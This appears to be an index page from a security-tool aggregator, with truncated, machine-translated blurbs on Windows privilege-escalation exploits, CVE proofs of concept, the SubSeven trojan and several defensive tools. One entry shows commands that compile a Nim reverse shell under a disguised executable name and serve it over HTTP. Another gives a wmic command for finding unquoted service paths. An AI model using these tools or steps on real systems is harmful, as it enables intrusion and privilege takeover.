memhunter

Memhunter Chasse automatisée des malwares résidents en mémoire à grande échelle Ce projet est EN COURS DE DÉVELOPPEMENT. Attendez-vous à des changements de fonctionnalités et des versions binaires dans les semaines à venir. Aperçu Memhunter est un outil capteur de points de terminaison spécialisé...

RottenPotato

Ce code n'est plus maintenu - pour une implémentation plus récente, voir https://github.com/breenmachine/RottenPotatoNG RottenPotato Élévation de privilèges locale depuis des comptes de service Windows vers SYSTEM Pour un aperçu technique de cette exploitation, voir notre article de blog à...

SysTracingPoc

SysTracingPoc CVE-2020-0668 - Vulnérabilité de déplacement arbitraire de fichier et d'élévation de privilèges locaux dans le suivi des services Microsoft Windows Pour plus d'informations : https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/...

SubSeven

SubSeven Legacy «SubSeven Legacy — это полная переработка печально известного бэкдора SubSeven также известного как Sub7, популярного трояна удалённого доступа конца 90-х. Больше информации об оригинальном бэкдоре Sub7 можно найти на официальной странице Википедии. Как и оригинальная программа...

CVE-2021-1675

취약점 설명 Printer Spooler는 인쇄 큐를 관리하는 Windows 서비스입니다. 사용자가 제출한 작업을 받아 프린터가 이해할 수 있는 형식으로 변환하고, 프린터를 사용할 수 있을 때 전송합니다. 이 서비스는 높은 권한을 가진 시스템 서비스spoolsv.exe로 실행되므로 PrintNightmare 취약점과 같은 공격의 빈번한 대상이 됩니다. 익스플로잇 방법 공격자가 원격으로 프린트 스풀러를 익스플로잇하려 할 때, 호스트가 printnightmare 결함에 취약한지 확인하기 위해 impacket 패키지의 일부인...

juicy-potato

Juicy Potato злоупотребление золотыми привилегиями Подслащенная версияRottenPotatoNG с небольшим соком, т.е. еще один инструмент локального повышения привилегий от учётных записей служб Windows до NT AUTHORITY\SYSTEM Краткое описание RottenPotatoNG и его вариации используют цепочку повышения...

juicy-potato

Juicy Potato abusing the golden privileges A sugared version ofRottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM Summary RottenPotatoNG and its variants leverages the privilege escalation chain based on BITS...

CVE-2024-27462

CVE-2024-27462 Wondershare MobileTrans 4.5.6 - Chemin de service non mis entre guillemets Description : Les versions 4.5.6 et antérieures de Wondershare Filmora contiennent plusieurs chemins de service non mis entre guillemets, ce qui permet aux attaquants d'élever leurs privilèges au niveau...

CVE-2023-36168

CVE-2023-36168 AVG AVG Anti-Spyware v.7.5의 문제로 인해 공격자가 조작된 스크립트를 guard.exe 구성 요소에 전달하여 임의 코드를 실행할 수 있습니다. 익스플로이트 제목: AVG Anti Spyware 7.5 - Unquoted Service Path 날짜: 05/08/2023 익스플로이트 작성자: Idan Malihi 공급업체 홈페이지: https://www.avg.com 소프트웨어 링크: https://www.avg.com/en-ww/homepagepc 버전: 7.5 테스트 환경:...

SMB-Session-Spoofing

root@kitploit: / | / || \ / | / | / | \ --.| . . || |/ / \ --. \ --. | | --. \ |/| || \ --. / / / | |/ | ' \ --. \ ' \ / \ / | / \ '| // / | | || |/ / // / /\ \ \ | | | | | // / | | | | || / | /| |// / ||//|/|| || /| ./ / /|| || | | || Bienvenue ! Ceci est un utilitaire qui peut...

memhunter

Memhunter Automated hunting of memory resident malware at scale This project is WORK IN PROGRESS. Expect feature changes and binary releases on the upcoming weeks. Overview Memhunter is an endpoint sensor tool that is specialized in detecing resident malware, improving the threat hunter analysis...

CVE-2022-45988

CVE-2022-45988 StarSoftComm HP CooCare Esiste una vulnerabilità di elevazione dei privilegi Ho contattato hp-security-alert: hanno corretto questo bug. Riguardo a StarSoftComm CooCare HP-PSRT-IR 4106 Il fornitore ha risposto con le seguenti informazioni: Segui questi passaggi per aggiornare: 1...

CVE-2025-27237

CVE-2025-27237 Vulnerabilidade de escalonamento local de privilégios no Zabbix Agent/Agent2 para Windows via sequestro de arquivo de configuração OpenSSL. Visão Geral Campo| Valor ---|--- ID CVE| CVE-2025-27237 CVSS v4.0| 7.3 ALTO CWE| CWE-427: Elemento de Caminho de Pesquisa Não Controlado Tipo|...

CVE-2026-36213

CVE-2026-36213 CVE-2026-36213 | Escalada de Privilégio Local no MEmu Android Emulator 9.2.7.0 via Permissões Inseguras de Binário de Serviço | Corrigido na versão 9.3.2 CVE-2026-36213 — MEmu Android Emulator 9.2.7.0 LPE Resumo Uma vulnerabilidade de Escalada de Privilégio Local LPE no MEmu Androi...

KilledProcessCanary

Windows Killed Process Canary Ein Windows-Dienst, der erkennt, wenn er gestoppt wurde, und den Host in den Ruhezustand versetzt, wenn mehrere Instanzen gestoppt wurden. Als Open Source veröffentlicht von NCC Group Plc - http://www.nccgroup.com/ Entwickelt von Ollie Whitehouse, ollie dot whitehous...

caldera-agent

CALDERA Agent Der Ordner calderaagent enthält den Quellcode des CALDERA-Agenten bzw. cagent , eines Windows-Dienstes, der die Kommunikation zwischen dem CALDERA-Server und den CALDERA-Rats ermöglicht. Das cagent-Programm sollte auf jedem Computer installiert werden, der an der...

nim-reverse-shell

nim-reverse-shell nim-reverse-shell उदाहरण: root@kitploit: sudo apt install nim स्क्रिप्ट को तदनुसार अपडेट करें root@kitploit: nim c -d:mingw --app:gui --opt:speed -o:spoofer-scheduler.exe reverse.nim root@kitploit: python3 -m http.server 8888 root@kitploit: wget...

BlockGuard

🛡️ BlockGuard — प्रक्रिया-आधारित फ़ाइल एक्सेस सुरक्षा एजेंट BlockGuard एक विंडोज डेटा हानि रोकथाम DLP एजेंट है जो प्रक्रिया स्तर पर फ़ाइल एक्सेस को इंटरसेप्ट और नियंत्रित करता है। यह सुनिश्चित करता है कि केवल अधिकृत प्रक्रियाएँ — निष्पादन योग्य पथ, क्रिप्टोग्राफिक हैश, ऑथेंटिकोड हस्ताक्षर और अखंडत...

CVE-2022-35899

CVE-2022-35899 未引用的服务路径 ASUS GameSDK 漏洞标题：ASUS GameSDK v1.0.0.4 - 'GameSDK.exe' 未引用服务路径（权限提升） 日期：2022年7月14日 漏洞作者：Angelo Pio Amirante 版本：1.0.0.4 测试环境：Windows 10 修复版本：1.0.5.0 发现未引用服务路径的步骤 root@kitploit: wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v...

CVE-2017-1000475

CVE-2017-1000475: Freesshd अनकोटेड सर्विस पथ प्रूफ ऑफ कॉन्सेप्ट विंडोज 10 पर freeSSHd 1.3.1, जो डिफ़ॉल्ट रूप से इंस्टॉल है और सिस्टम सर्विस के रूप में चलने के विकल्प के साथ। अनकोटेड सर्विस पथ की जांच करने का कमांड। सर्विस डिफ़ॉल्ट रूप से अनकोटेड है। प्रक्रिया डिफ़ॉल्ट रूप से SYSTEM के रूप में चल...